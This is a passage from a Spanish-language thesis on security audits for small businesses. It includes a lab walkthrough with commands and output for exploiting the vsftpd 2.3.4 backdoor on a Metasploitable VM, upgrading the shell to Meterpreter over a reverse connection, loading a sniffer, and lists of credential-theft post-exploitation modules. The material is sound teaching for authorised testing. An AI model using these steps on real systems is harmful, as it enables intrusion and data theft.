herramienta, ordenados y agrupados por tipo:

msf > help

Core Commands

Description

? Help menu

banner Display an awesome metasploit banner

cd Change the current working directory

color Toggle color

connect Communicate with a host

exit Exit the console

get Gets the value of a context-specific variable

getg Gets the value of a global variable

grep Grep the output of another command

help Help menu

history Show command history

irb Drop into irb scripting mode

load Load a framework plugin

quit Exit the console

route Route traffic through a session

save Saves the active datastores

sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value

setg Sets a global variable to a value

sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads

unload Unload a framework plugin

unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables

version Show the framework and console library version numbers

Module Commands

Description

advanced Displays advanced options for one or more modules

back Move back from the current context

edit Edit the current module or a file with the preferred editor
info Displays information about one or more modules

loadpath Searches for and loads modules from a path

options Displays global options or for one or more modules

popm Pops the latest module off the stack and makes it active

Img 68: Comando Help de Metasploit

Alfonso Recio Barroso. Grado en Ingenieria Informatica en Ingenieria del Software. 59



- Auditoria de sistemas informaticos orientada a PYMEs.

Algunos de los comandos bdsicos necesarios para la navegacién por el framework son
los siguientes:

- USE: Permite establecer el Exploit o modulo a usar en la consola.

- BACK: Permite salir del contexto actual de ejecucién, ya sea un Exploit o un
module.

- CHECK: Permite comprobar si el equipo objetivo es vulnerable al Exploit
seleccionado. Este comando no funciona con todos los Exploits.

- CONNECT: Este comando permite realizar una conexién a un host remoto y
ademas soporta SSL si se le indica la opcidn “-s”. Por ejemplo:

msf > connect 192.168.0.158 23]

Img 69: Comando connect de Metasploit

- EXPLOIT: Comando para realizar la ejecucion del Exploit cargado en el contexto
de la consola.

- RUN: Comando para realizar la ejecucion del module/auxiliary cargado en el
contexto de la consola.

- JOBS: Este comando permite listar y gestionar mddulos que se encuentran en
ejecucion en “Background”.

- LOAD: Permite cargar un plugin desde el directorio de plugins ubicado en la
ruta de instalacion, recibiendo como parametro el nombre del plugin.

- UNLOAD: Al contrario que el comando anterior éste descarga un plugin
cargado.

- RESOURCE: Carga un fichero de script que posteriormente serd utilizado por
algun Exploit o module que depende de él.

- ROUTE: Permite establecer las tablas de enrutamiento de las sesiones de
Metasploit para poder establecer comunicacién con equipos que no son
directamente accesibles.

- INFO: Muestra informacidn adicional de un module o Exploit cargado en el
contexto de la consola.

- SET: Permite establecer los pardmetros del module o Exploit seleccionado.

- UNSET: Permite eliminar el valor actual de alguno de los pardmetros de un
module o un Exploit.

- WORKSPACE: Permite listar, crear y eliminar espacios de trabajo
independientes. Para este comando se dispone de las siguientes opciones:

o “-a”: Permite crear un nuevo espacio de trabajo: “workspace —a <Nombre
Nuevo Workspace>”.

o “-d”: Permite eliminar un espacio de trabajo: “workspace —d <Nombre del
Workspace>”".

o Para cambiar de espacio de trabajo simplemente habrd que indicar el
workspace hacia el que se desea cambiar: “workspace <Nombre del
Workspace>”.
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o Si no se le indica ninguna opcién el comando mostrara una lista con los
diferentes espacios de trabajo definidos.
- SESSIONS: Permite listar, interactuar y terminar sesiones generadas por
modules o Exploits. Para este comando se dispone de diferentes opciones:
o “I”: Lista las sesiones.
o “-v”: Muestra informacién extra complementaria a la opcidn anterior.
o “-s”: Permite ejecutar un script sobre las sesiones abiertas: “sessions —s
<Script>".
“-k”: Finaliza todas las sesiones abiertas.
“-¢”: Ejecuta un comando sobre todas las sesiones abiertas.
“-i”: Para seleccionar la sesion con la que se quiera interactuar: “sessions —i
<ID de la Sesion>".
- SEARCH: Permite realizar una blsqueda basada en expresiones regulares.
- SHOW: Permite mostrar las diferentes opciones par modules, Exploits y
payloads. Tenemos las diferentes opciones de uso:
SHOW AUXILIARY
SHOW EXPLOITS
SHOW PAYLOADS
SHOW OPTIONS
SHOW TARGETS
SHOW ADVANCED
SHOW ENCODERS
SHOW NOPS
SHOW EVASION
- SETG: Permite definir variable globales que podran ser empleadas por todos los

O 0O 0O o O o 0 o0 o

modules o Exploits cargados.

- SAVE: Permite almacenar de forma permanente las variables globales
establecidas con el comando SETG y las variables especificadas de cada Exploit
en uso.

A continuacién se muestra un ejemplo real sobre un entorno virtualizado en el que se
llevan a cabo todos los pasos a seguir para el desarrollo de la fase de explotacion sobre el
framework Metasploit.

Creacion de un Workspace
Resulta muy recomendable para el auditor la organizacion de la fase de explotacién en

espacios de trabajo. Para la gestidon de los espacios de trabajo se ha visto el comando
interno “WORKSPACE” y la opcion “-a” con la que se podra afiadir un nuevo espacio de
trabajo:

“workspace —a <Nombre del Workspace>"
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= workspace -a TFG
Added workspace: TFG

o

==

Img 70: Creacién de un Workspace en Metasploit

Importacién de datos a la base de datos de Metasploit

Para este primer apartado se presentan dos posibles opciones: Importar los datos
obtenidos de herramientas externas u Obtener los datos directamente sobre Metasploit.

e Importacion a la base de datos de Metasploit:

Para este caso se dispone de un fichero con extensiéon XML obtenido como
resultado de la ejecucién de alguna de las herramientas citadas durante la fase de
Anilisis de Vulnerabilidades. Una vez dentro del Framework utilizaremos el comando
interno “db_import” seguido de la ruta donde se encuentre el fichero.

“db_import <Ruta Fichero XML>"

msf = db import '/root/Escaneos/ScanMetasploitable
[#] Importing 'Nmap XML' data
Import: Parsing with 'Mokogiri v1.8.1"'

Importing host 192.168.08.158
Successfully imported /root/Escaneos/ScanMetasploitable

Img 71: Importacion de datos a la Base de Datos de Metasploit

e Obtencidn de datos directamente sobre Metasploit:

Este se tratara del caso menos utilizado aunque totalmente viable para realizar la
obtencidon de datos. En este caso el escaneo de hosts y servicios se llevara a cabo
directamente sobre la consola de Metasploit. Para esta labor utilizaremos el comando
“db_nmap”, el cual es la herramienta NMAP funcionando sobre el framework, por lo
gue se le podra indicar todas las opciones que el auditor necesite como si de la
herramienta externa se tratase.
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Para obtener el mismo resultado que el caso anterior utilizaremos el siguiente
comando:

“db_nmap —A —version-intensity 9 —f —n 192.168.0.158”

msf = db nmap -A --version-intensity 9 -f -n 192.168.0.158

[#] MNmap: Starting Nmap 7.60 ( https://nmap.org )} at 2018-85-29 14:18 EDT
[*] Nmap: Nmap scan report for 192.168.0.158

[*] Nmap: Host is up (0.00045s latency).

[#] Nmap: Not shown: 977 closed ports

[#] Nmap: PORT STATE SERVICE VERSION

[*] Nmap: 21/tcp open Ttp vsftpd 2.3.4

[*] Nmap: | _ftp-anen: Anonymous FTP login allowed (FTP code 230)
[*] Nmap:

[#] Nmap:

[#] Nmap:

Img 72: Escaneo desde Metasploit

Una vez se han cargado los datos en la base de datos podremos visualizar los
equipos cargados mediante el comando “HOSTS”:

mac

192.168.0.158 00:0c:29:55:4a:62

msf >

Img 73: Hosts cargados en Metasploit
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También se podremos observar los servicios detectados en el escaneo, asi como sus
versiones mediante el comando “SERVICES”:

port proto name s e 1info

open 5
tcp s open H 4.7pl Debian 8ubuntul protocol 2.0
tcp telne open
tep smtp open
tcp domain open ISC BIND 9.4.
tcp http open  Apache httpd .8 (Ubuntu) DAV/2
tcp rpcbind open 2 RPC #1000
tcp netbi open d 3.X - X workgroup: WORKGROUP
tcp ; open d 3. -Debian workgroup: WORKGROUP
tcp open  netkit-rsh d
tcp i open
tcp open  Netkit rshd
tcp open MI gistry
tecp she open e loitable root shell
tcp s open 2-4 RPC #100003
tcp open ProFTPD 1.3.1
3306 tcp WE open MySQL 5.0.51a-3ubuntus
5432 tcp s 5 open PostgreSQL DB 8.3.0 - 8.3.7
5900 tcp open . protocol 3.3
6000 tcp ;
6667 tcp
8009 tcp ajpl3 ope Apache Jserv Protocol v1.3
8180 tcp http ope Apache Tomcat/Coyote JSP engine 1.1

Img 74: Servicios cargados en Metasploit

Aungue se acaba de realizar un escaneo sobre la maquina objetivo en un entorno
real el auditor supone que toda la informacién obtenida en este escaneo ya fue
obtenida y debidamente almacenada durante las fases de Recogida de Informacion y
Anilisis de Vulnerabilidades.

Como se puede comprobar haciendo uso de la herramienta SEARCHSPLOIT, un
posible fallo de seguridad lo encontramos en el primero de los servicios abiertos en la
magquina objetivo, el servicio FTP.

:~# searchsploit ftp vsftpd 2.3.4

Shellcodes: No Result

Img 75: Searchsploit para FTP
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Una vez identificada una posible vulnerabilidad los pasos que el auditor debe seguir
son los siguientes:

1. Comprobar si existe el Exploit en el Framework Metasploit:

Para comprobar si el Exploit que se ha detectado se encuentra disponible dentro
del framework el auditor posee dos alternativas: comprobar directamente sobre la ruta
de instalacidon de la herramienta o dentro de la propia herramienta. Ambas opciones
son validas, aunque en este caso se utiliza la primera de ellas.

El framework Metasploit se encuentra instalado en la ruta “/usr/share/metasploit-
framework” y para comprobar la existencia se puede utilizar la ruta que indica la
herramienta SEARCHSPLOIT:

:~# searchsploit ftp vsftpd 2.3.4

IShellcodes: No Result

Img 76: Ruta Exploit de Searchsploit

Si se intenta listar el directorio “unix/remote/” dentro del directorio “exploits/” se
mostrara el siguiente mensaje, indicativo de que ni el directorio ni el Exploit existen
dentro de la herramienta:

ste el fichero o el direc

Img 77: No existe el Exploit en Metasploit

Dado que el Exploit no esta disponible directamente en la herramienta el auditor
tendra que importarlo para ampliar asi la funcionalidad de Metasploit en un caso
concreto.

Importar un nuevo Exploit al framework resulta muy sencillo, simplemente habrd
gue copiar el Exploit que se desee importar a la ruta adecuada dentro de la ruta de
instalacion del framework. Esta misma labor se podria aplicar para los distintos tipos de
objetos de los que dispone Metasploit como podria ser un mddulo Auxiliary, etcétera.
Para localizar la ruta donde se encuentra el Exploit que se va a importar hay que unir las
rutas que indica SEARCHSPLOIT:
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Img 78: Ruta del Exploit de Searchsploit

La ruta quedaria del siguiente modo:
“/usr/share/exploitdb/exploits/unix/remote/17491.rb”

En primer lugar se creara el directorio “remote/” con el comando “mkdir”, con
motivo de categorizar y situar en el lugar al que corresponde el Exploit que se esta
importando a la herramienta.

"/share/metasploit-framework# mkdir ./modules/exploits/unix/remote

Img 79: Creacidn del directorio Remote
En segundo lugar se copiara el Exploit de “exploitDB” a la ruta correcta del
framework Metasploit mediante el comando “cp”:

:/usr/share/metasploit-framework# cp /usr/share/exploitdb/exploits/unix/remote/17491.rb ./m
odules/exploits/unix/remote/

:/usr/share/metasploit-framework# 1ls ./modules/exploits/unix/remote/

17491.rb

Img 80: Importacion correcta de un Exploit

2. Comprobar la efectividad del Exploit:

Una vez seleccionado el Exploit habrd que comprobar la efectividad del mismo.
Para esto se cargara el Exploit seleccionado sobre el framework, se configurard y se
lanzara sobre el equipo objetivo.

Mediante el comando “USE” se selecciona el Exploit importado anteriormente en la
herramienta:

= use exploit/unix/remote/17491

exploit( ) =

Img 81: Utilizacion de Exploit. 1

Haciendo uso del comando “SHOW OPTIONS” se aprecian los diferentes
pardmetros que hay que configurar para que el Exploit funcione correctamente:
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msf exploit( ) > show options

Module options (exploit/unix/remote/17491):

Name Current Setting Required Description

RHOST The target address

RPORT 21 yes The target port (TCP)
Exploit target:

Id Name

0] Automatic

msf exploit(

Img 82: Utilizacion de Exploit. 2

Para que este Exploit funcione se debe indircar el “RHOST”, que no es otra cosa que
el Remote Host (Host remoto sobre el que se realizara el ataque):

msf exploit( ) > set rhost 192.168.0.157
rhost => 192.168.0.157
msf exploit( ) > show options

Module options (exploit/unix/remote/17491):
Name Current Setting Required Description

RHOST 192.168.0.157 The target address
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name

0 Automatic

Img 83: Utilizacion de Exploit. 3

El siguiente paso, y probablemente uno de los mds importantes para el test sera la
elecciéon de un Payload. Si un Exploit es un fallo de seguridad utilizable por el auditor, el
Payload esl cddigo que éste ejecuta sobre el equipo objetivo con el fin de tomar el
control total o parcial del mismo. Para el Exploit que se acaba de importar al framework
solo tenemos una posible opcién (a priori) a elegir, aunque si el Exploit da resultado y
se consigue establecer una sesion entre el framework y el equipo objetivo es posible
cambiar el tipo de Payload que se ejecuta sobre el equipo, como se vera en la siguiente
fase de la auditoria.
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msf exploit( ) > set payload cmd/unix/interact
payload => cmd/unix/interact
msft exploit( ) > show options

Module options (exploit/unix/remote/17491):

Name Current Setting Required Description

RHOST 192.168.0.157 The target address
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:

Id Name

Automatic

msf exploit(

Img 84: Utilizacion de Exploit. 4

Como se puede apreciar en la imagen, en este caso, no es necesario indicar ningun
otro parametro al Payload para su configuracion. Una vez aqui ya se encuentra el
Exploit correctamente configurado y el siguiente paso que tendrd que realizar el auditor
serd lanzarlo contra el equipo objetivo y comprobar si tiene el efecto esperado.

exploit( ) > exploit

[*] 192.168.0.157:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.0.157:21 - USER: 331 Please specify the password.
[+] 192.168.0.157:21 - Backdoor service has been spawned, handling...

[+] 192.168.0.157:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.0.156:41793 -> 192.168.0.157:6200) at 2018-06-04 15:04:04 -0400

Img 85: Explotacion del equipo Objetivo

Como muestra la imagen, el Exploit ha dado resultado y se ha abierto una SHELL
remota que se conecta directamente sobre el equipo del auditor,pudiendo ejecutar
comandos Unix directamente sobre ella.
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exploit( ) > exploit

192.168.0.157:21 - Banner: 220 (vsFTPd 2.3.4)
] 192.168.0.157:21 - USER: 331 Please specify the password.
1 192.168.0.157:21 - Backdoor service has been spawned, handling...
] 192.168.0.157:21 - UID: uid=0(root) gid=0(root)
] Found shell.
Command shell session 1 opened (192.168.0.156:41793 -> 192.168.0.157:6200) at 2018-06-04 15:04:04 -0400

Img 86: Interaccidn con el equipo objetivo

Este no es mds que uno de los muchos ejemplos de vulnerabilidades en base a los datos
gue se obtuvieron durante la fase de Recogida de Informacién. Al tratarse el equipo
objetivo de una maquina virtual con Metasploitable como sistema operativo, ya se conoce
de antemano que el sistema serd explotable por multitud de técnicas, aunque en un
sistema real se llevaria a cabo el proceso de la misma manera.

4.5 Post-Explotacion

Una vez se ha conseguido tomar el control del sistema objetivo, el auditor tendra que
realizar un andlisis del peso de este equipo dentro de la organizacién y como, a partir de él,
poder obtener informacidn o incluso acceder (pivotar) a otros equipo con mas peso dentro
de ésta. Para esta labor el Framework Metasploit dispone de una serie de mddulos
especificos, los médulos POST, que se utilizardn en esta fase.

Llegados a este punto el auditor siempre debe tener muy presente el limite hasta
donde puede acceder, acordado en la fase de Alcance y Términos de la Auditoria, teniendo
en cuenta que se puede llegar a poner en riesgo informacion sensible de la organizacion.

Tomando como punto de partida el estado que se consiguio en la fase de Explotacion,
en la cual se logré obtener una SHELL del sistema objetivo, se muestran algunas de las
muchas tareas de Post-Explotacidn que podria llevar a cabo el auditor, que siempre irdn en
funcién del acuerdo con la organizacion.
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Convertir una Shell a un Meterpreter

Meterpreter es un Payload con una gran cantidad de funcionalidades muy utilizado por
la gran mayoria de auditores de seguridad. Un problema de Meterpreter es que ocupa un
tamafo considerable en comparacién con otros Payloads mas livianos (Como una Shell) y
no siempre se puede inyectar mediante el Exploit que se esté utilizando, como es el caso
que nos atafe.

Existe en Metasploit un mdédulo POST para este caso concreto que permitira convertir
la Shell obtenida mediante la ejecucion del Exploit a un Meterpreter.

En primer lugar, teniendo una sesién con la Shell del equipo objetivo abierta en la
consola de Metasploit, habrd que dejar esta sesidon funcionando en segundo plano
(Background) utilizando la combinacion de teclas “CTRL + Z” y confirmando.

exploit( ) > exploit

192.168.0.157:21 - Banner: 220 (vsFTPd 2.3.4)

192.168.0.157:21 - USER: 331 Please specify the password.

192.168.0.157:21 - Backdoor service has been spawned, handling...

192.168.0.157:21 - UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 1 opened (192.168.0.156:43761 -> 192.168.0.157:6200) at 2018-06-05 13:20:01 -0400

Background session 1? [y/N] vy
msf exploit( ) >

Img 87: Sesién en Background de Metasploit

Haciendo uso del comando interno “SESSIONS” se podra obtener el listado de sesiones
abiertas en segundo plano.

msf exploit( ) > sessions

Active sessions

Id Name Type Information Connection

1 shell cmd/unix 192.168.0.156:43761 -> 192.168.0.157:6200 (192.168.0.157)

msf exploit(

Img 88: Listado de sesiones abiertas

Como se puede apreciar en el tipo (Type), la sesion se trata de una Shell y mediante el
maddulo POST “post/multi/manage/shell_to_meterpreter”’ se puede convertir ésta en un
Meterpreter. Para la configuracion de éste modulo de Post-Explotacion se debe indicar el
puerto del equipo atacante (LHOST o local host) y el identificador de la sesiéon que vaya a
transformar en un Meterpreter.
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msf post( ) > show options

Module options (post/multi/manage/shell to meterpreter):

Name Curr ripti

HANDLER t Start an exploit/multi/handler to receive the connection

LHOST IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 Port for payload to connect to.

SESSION The session to run this module on.

msf post( ) > set lhost 192.168.0.156
lhost => 192.168.0.156

msf post( ) > set session 1

session => 1

msf post( ) > l

Img 89: Configuracion del POST Shell_to_Meterpreter

Una vez se haya configurado correctamente el médulo se lanzara mediante el comando
“RUN”. Este mddulo realizard una descarga sobre el equipo objetivo del Payload completo
de Meterpreter y lo ejecutard automaticamente sobre la maquina objetivo.

post(

Upgrading session ID: 1
Starting exploit/multi/handler
Started reverse TCP handler on 192.168.0.156:4433
Sending stage (857352 bytes) to 192.168.0.157
Meterpreter session 2 opened (192.168.0.156:4433 -> 192.168.0.157:45531) at 2018-06-05 14:24:48 -0400
Command stager progress: 100.00% (773/773 bytes)
Post module execution completed
msf post( ) > 1

Img 90: Ejecucion del POST Shell_to_Meterpreter

Si el mddulo se ha ejecutado correctamente, se creard una nueva sesion de
Meterpreter sobre la maquina objetivo, a la cual se podra acceder mediante el comando
“SESSIONS —i <ID de la Sesion>".

msf post( ) > sessions

Id Name Type

1 shell cmd/unix
.168.60.157)
meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain 192.168.0.156:4433 -> 192.168.0.157:45531 (192

2
.168.0.157)

msf post( ) > sessions -i 2
*] Starting interaction with 2...

meterpreter > ||

Img 91: Funcionamiento correcto de Shell_to_Meterpreter

Haciendo uso del comando “HELP” se podra visualizar gran parte de las herramientas y
funcionalidades de las que dispone éste Payload. Las herramientas se mostrardn ordenadas
y agrupadas por tipo, indicando el comando para utilizarlas y una breve descripcion de su
funcionamiento.
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meterpreter > help

background
bgkill
bglist

bgrun
channel
close
disable unicode encoding
enable unicode encoding
exit

get timeouts
guid

help

info

irb

load
machine id
migrate

quit

read
resource

run

sessions

set timeouts
sleep
transport
use

uuid

write
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Description

Help menu

Backgrounds the current session

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or control active channels
Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Get the session GUID

Help menu

Displays information about a Post module

Drop into irb scripting mode

Load one or more meterpreter extensions

Get the MSF ID of the machine attached to the session
Migrate the server to another process

Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Executes a meterpreter script or Post module
Quickly switch to another session

Set the current session timeout values

Force Meterpreter to go quiet, then re-establish session.

Change the current transport mechanism
Deprecated alias for "load"

Get the UUID for the current session
Writes data to a channel

File system Commands

Command Description

Read the contents of a file to the screen

Img 92: Help sobre Meterpreter

Mediante el comando “LOAD” sera posible extender la funcionalidad de Meterpreter
cargando una nueva funcionalidad o plugin sobre el Payload. Indicando el comando vy
haciendo uso del tabulador aparecerd una lista con los diferentes médulos que se podrdn
cargar dependiendo de la situacidn. Como se aprecia, en este caso solo es posible cargar el
modulo “SNIFFER”, el cual permitird observar todas las comunicaciones que realice el
equipo al que se esta auditando.

sniffer

ctension sniffer...Succe

Img 93: Cargando el médulo SNIFFER
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Si el mddulo se carga correctamente, de nuevo mediante el comando “HELP” se puede
ver la lista de los comandos que acompafian a éste mddulo. Esto ocurre asi para todos los
madulos que Meterpreter te permita cargar dependiendo de la situacién.

Sniffer Commands

Command Description

sniffer dump Retrieve captured packet data to PCAP file

sniffer _interfaces Enumerate all sniffable network interfaces

sniffer release Free captured packets on a specific interface instead of downloading them
sniffer start Start packet capture on a specific interface

sniffer stats View statistics of an active capture

sniffer stop Stop packet capture on a specific interface

meterpreter > ||

Img 94: Comandos del médulo SNIFFER

Como se muestra, Meterpreter ofrece al auditor multitud de herramientas bien
organizadas y sumamente Utiles para las labores de Post-Explotacion. Es por esta razén por
la que Meterpreter es tan utilizado para acciones de este tipo dentro de las auditorias de
seguridad informatica.

Otros modulos POST

Una vez se ha conseguido establecer una sesiéon con el equipo objetivo, existen
multitud de médulos de Post-Explotacidon (Médulos POST) en el Framework Metasploit que
pueden ser utilizados por el auditor para lograr el objetivo que se desee alcanzar.

Como se ha visto anteriormente, la utilizacion de un modulo POST resulta
practicamente igual a la de un Exploit, con la diferencia de que para poder utilizar uno,
primero se ha de haber obtenido una sesidon mediante la ejecucién de algun Exploit.

El uso del comando “SHOW POST” permite visualizar todos los mddulos de Post-
Explotaciéon que tiene cargados Metasploit. Aunque en la practica la busqueda de un
maodulo POST no se suele realizar de esta manera. Para poder visualizar los mddulos POST
acotados por el tipo de sistema que se estd explotando se podra hacer de la siguiente
manera:

“use post/<Sistema> + TAB”

La variable “Sistema” no tiene por qué referirse a un Sistema Operativo, sino que puede
hacer referencia a un programa, como “Firefox” o a un tipo de servicio, como “FTP”.
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> use post/linux/
post/linux/busybox/enum_connections
post/linux/busybox/enum_hosts
post/linux/busybox/jailbreak
post/linux/busybox/ping net
post/linux/busybox/set_dmz

post/linux/busybox/set_dns
post/linux/busybox/smb_share_root
post/linux/busybox/wget_exec
post/linux/dos/xen_420_dos
post/linux/gather/checkcontainer

> use post/linux/

post/linux/gather/checkvm
post/linux/gather/ecryptfs_creds
post/linux/gather/enum configs
post/linux/gather/enum network
post/linux/gather/enum protections
post/linux/gather/enum _psk
post/linux/gather/enum_system
post/linux/gather/enum_users_history
post/linux/gather/enum xchat
post/linux/gather/gnome commander creds

- Auditoria de sistemas informaticos orientada a PYMEs.

post/linux/gather/gnome_keyring dump
post/linux/gather/hashdump
post/linux/gather/mount cifs_creds
post/linux/gather/openvpn credentials
post/linux/gather/pptpd_chap secrets
post/linux/gather/tor_hiddenservices
post/linux/manage/download_exec
post/linux/manage/sshkey persistence

Img 95: Mddulos POST para Linux

msf > use post/windows/
Display all 176 possibilities? (y or n)

post/windows/capture/keylog recorder
post/windows/capture/lockout keylogger
post/windows/escalate/droplnk
post/windows/escalate/getsystem
post/windows/escalate/golden_ ticket
post/windows/escalate/ms10_073 kbdlayout
post/windows/escalate/screen unlock
post/windows/gather/ad to sqlite
post/windows/gather/arp_scanner
post/windows/gather/bitcoin jacker
post/windows/gather/bitlocker fvek
post/windows/gather/cachedump
post/windows/gather/checkvm
post/windows/gather/credentials/avira password
post/windows/gather/credentials/bulletproof ftp
post/windows/gather/credentials/coreftp
post/windows/gather/credentials/credential_ collector
post/windows/gather/credentials/domain_hashdump
post/windows/gather/credentials/dynazip log
post/windows/gather/credentials/dyndns
post/windows/gather/credentials/enum _cred store
post/windows/gather/credentials/enum laps
post/windows/gather/credentials/enum picasa pwds
post/windows/gather/credentials/epo_sql
post/windows/gather/credentials/filezilla_server
post/windows/gather/credentials/flashfxp
post/windows/gather/credentials/ftpnavigator
post/windows/gather/credentials/ftpx
post/windows/gather/credentials/gpp

post/windows/gather/enum prefetch
post/windows/gather/enum proxy
post/windows/gather/enum putty saved sessions
post/windows/gather/enum services
post/windows/gather/enum_shares
post/windows/gather/enum_snmp
post/windows/gather/enum termserv
post/windows/gather/enum_tokens
post/windows/gather/enum tomcat
post/windows/gather/enum trusted locations
post/windows/gather/enum unattend
post/windows/gather/file from_raw ntfs
post/windows/gather/forensics/browser history
post/windows/gather/forensics/duqu check
post/windows/gather/forensics/enum _drives
post/windows/gather/forensics/imager
post/windows/gather/forensics/nbd server
post/windows/gather/forensics/recovery files
post/windows/gather/hashdump
post/windows/gather/local admin_search_enum
post/windows/gather/lsa secrets
post/windows/gather/make csv_orgchart
post/windows/gather/memory grep
post/windows/gather/netlm downgrade
post/windows/gather/ntds_location
post/windows/gather/outlook
post/windows/gather/phish windows credentials
post/windows/gather/resolve sid
post/windows/gather/reverse lookup

Img 96: Mddulos POST para Windows

> use post/firefox/
post/firefox/gather/cookies
post/firefox/gather/history

>

use post/firefox/gather/passwords
use post/firefox/gather/xss

use post/firefox/manage/webcam chat

Img 97: Mddulos POST para Firefox

Existen mdédulos POST para una gran cantidad de acciones que de alguna manera
comprometen los datos de los equipos sobre los que son ejecutados. Como ya se ha
comentado, el auditor debera ser muy cuidadoso en la ejecucion de esta fase y tendrd que
cefiirse fielmente al acuerdo al que se llegd con la organizacidon que contratd sus servicios
para realizar la auditoria de seguridad. En algunos casos incluso no se llega a ejecutar esta
fase de la auditoria de seguridad.

4.6 Generacion de informes

Esta es la Ultima fase en el proceso de la auditoria de seguridad y para llegar hasta ella
el auditor habra tenido que pasar por todas y cada una de las anteriores de manera
secuencial desde la de Alcance y Términos de la Auditoria hasta la de Post-Explotacion.
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Durante esta fase se elaborara una documentaciéon que contendrd las distintas
vulnerabilidades encontradas, las técnicas utilizadas para su descubrimiento, la criticidad de
éstas, observaciones y la solucién a dicha vulnerabilidad, ademds de informacién que el
auditor considere de interés.

Durante su desarrollo se van a llevar a cabo dos informes que contendrdn el mismo
resultado pero explicado de manera muy diferente. El primero de ellos ira destinado al
personal técnico que mantiene el sistema y que serd el encargado de llevar a cabo las
medidas necesarias para corregir los diferentes fallos de seguridad encontrados por el
auditor. El segundo informe se elaborara con el fin de que sea entendible por personas que
no necesariamente tenga altos conocimiento en la materia. Estos son el Informe Técnico e
Informe Ejecutivo respectivamente.

Informe Técnico

Como ya se ha comentado anteriormente en este informe contendra informaciéon muy
especifica de todos los pasos seguidos por el auditor durante el proceso, resultados
obtenidos, solucidn a los mismos y recomendaciones por parte del auditor.

La estructura que se propone para este documento es la siguiente:

Fases de la Auditoria

En esta seccidn el auditor deberd exponer todos los pasos que se han seguido hasta
encontrar las vulnerabilidades, las herramientas usadas en cada fase, vulnerabilidades
encontradas y la solucion a las mismas.

Serd muy recomendable que durante la descripcién de los pasos mencionados
anteriormente en el documento, el auditor acompafie esta informacién de capturas de
pantalla, fragmentos de cdédigo, graficos o cualquier tipo de informacién que pueda resultar
esclarecedora o facilite el entendimiento para el personal técnico que se encargara de
solventar los problemas encontrados.

Recogida de informacion (Gathering)

Durante este proceso el auditor se ha dedicado a recoger toda la informacion posible
acerca de la organizacién y de su estructura interna con el de poder analizar
posteriormente dicha informacién en busca de posibles vectores de ataque.

Es muy comun que una organizacién, sobre todo las Pymes, tengan mas informacion
publica en la red de la que son conscientes, llegando en algunos casos incluso a tratarse de
informacién potencialmente peligrosa. Es por esta razén que el auditor deberd indicar toda
la informacién que consiguid obtener para realizar el posterior andlisis de vulnerabilidades
y el modo en que la obtuvo.

Por lo que en esta seccion se indicaran todas las herramientas utilizadas para la
extraccion de datos junto con la informacidon que se obtuvo por cada una de las
herramientas o técnicas utilizadas.
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Analisis de vulnerabilidades

Es en esta parte del documento donde el auditor tendrd que exponer en detalle cada
una de las vulnerabilidades encontradas, herramienta o técnica con la que se descubrid y la
solucién a la misma.

Una buena estructura de presentacidon ayudara considerablemente a la comprensién
por parte del personal técnico al cual va dirigido éste informe. Una estructura de
presentacién valida puede ser la siguiente:

1. Equipo analizade 1
1.1. Herramienta o técnica de analisis 1
1.1.1. Vulnerabilidad encontrada 1
1.1.2. Solucidn a la vulnerabilidad 1
1.1.3.
1.1.4. Vulnerahbilidad encontrada N
1.1.5. Solucidn a la vulnerabilidad N
1.2. Herramienta o técnica de analisis ...
1.2.1. Vulnerabilidad encontrada ...
1.2.2. Solucidn a la vulnerahbilidad ...
13. Herramienta o técnica de analisis N
13.1. Vulnerahilidad encontrada 1
13.2. Solucidn a la vulnerabilidad 1
133,
134, Vulnerahbilidad encontrada N
135, Solucidn a la vulnerabilidad N
2. Equipo analizado ...
2.1. Herramienta o técnica de analisis 1
1.1.1. Vulnerahilidad encontrada 1

21.2. Solucion a la vulnerabilidad 1
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Img 98: Estructura Informe Analisis Vulnerabilidades 1

i Equipo analizade N

il Herramienta o técnica de analisis 1
3.1.1. Vulnerahilidad encontrada 1
3.1.2. Solucidn a la vulnerabilidad 1
N
314 Vulnerahilidad encontrada N
315, Solucidn a la vulnerabilidad N

i Herramienta o fhenica de analisis ...

3

[

1. Vulnerahilidad encontrada ...
3z2. Solucidn a la vulnerabilidad ...
i3, Herramienta o técnica de analisis N
331 Vulnerahilidad encontrada 1
i Solucidn a la vulnerabilidad 1
333
334, Vulnerahbilidad encontrada N

335, Solucion a la vulnerabilidad N

Img 99: Estructura Informe Andlisis Vulnerabilidades 2

Una buena practica por parte del auditor, como ya se ha comentado en otros casos,
serd incluir capturas de pantalla, fragmentos de o cualquier tipo de informacién que pueda
resultar atil.

Explotacion

En este punto el auditor tendrd que demostrar mediante todo tipo de evidencias,
tomadas en el momento de realizar la fase de explotacién, que las vulnerabilidades
encontradas en la fase de analisis de vulnerabilidades pueden ser potencialmente
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peligrosas para la organizacion. Tendra que ser especialmente cuidadoso en este punto
respetando en todo momento el acuerdo de Alcance y Términos de la auditoria.

La estructura que el auditor debera establecer sera muy similar a la mostrada en la
anterior seccién, pero en lugar de ofrecer la solucion a la vulnerabilidad encontrada, tendra
que evidenciar el fallo de seguridad encontrado.

Alcance

En este punto el auditor hard un balance global de las vulnerabilidades halladas y la
criticidad de las mismas, obteniendo como resultado una valoracién muy aproximada de
hasta donde podria llegar un ataque informatico dirigido hacia la organizacién y cudl seria la
gravedad de éste.

Buenas practicas y recomendaciones.
Finalmente el auditor, en base a los resultados obtenidos y a su experiencia profesional,

ofrecera una serie de recomendaciones y guias de buenas practicas a la organizacién que
puedan ser de ayuda para mejorar la seguridad informatica tanto con la implantacién de
nuevos sistemas de seguridad tanto como inculcando a los trabajadores un uso mas
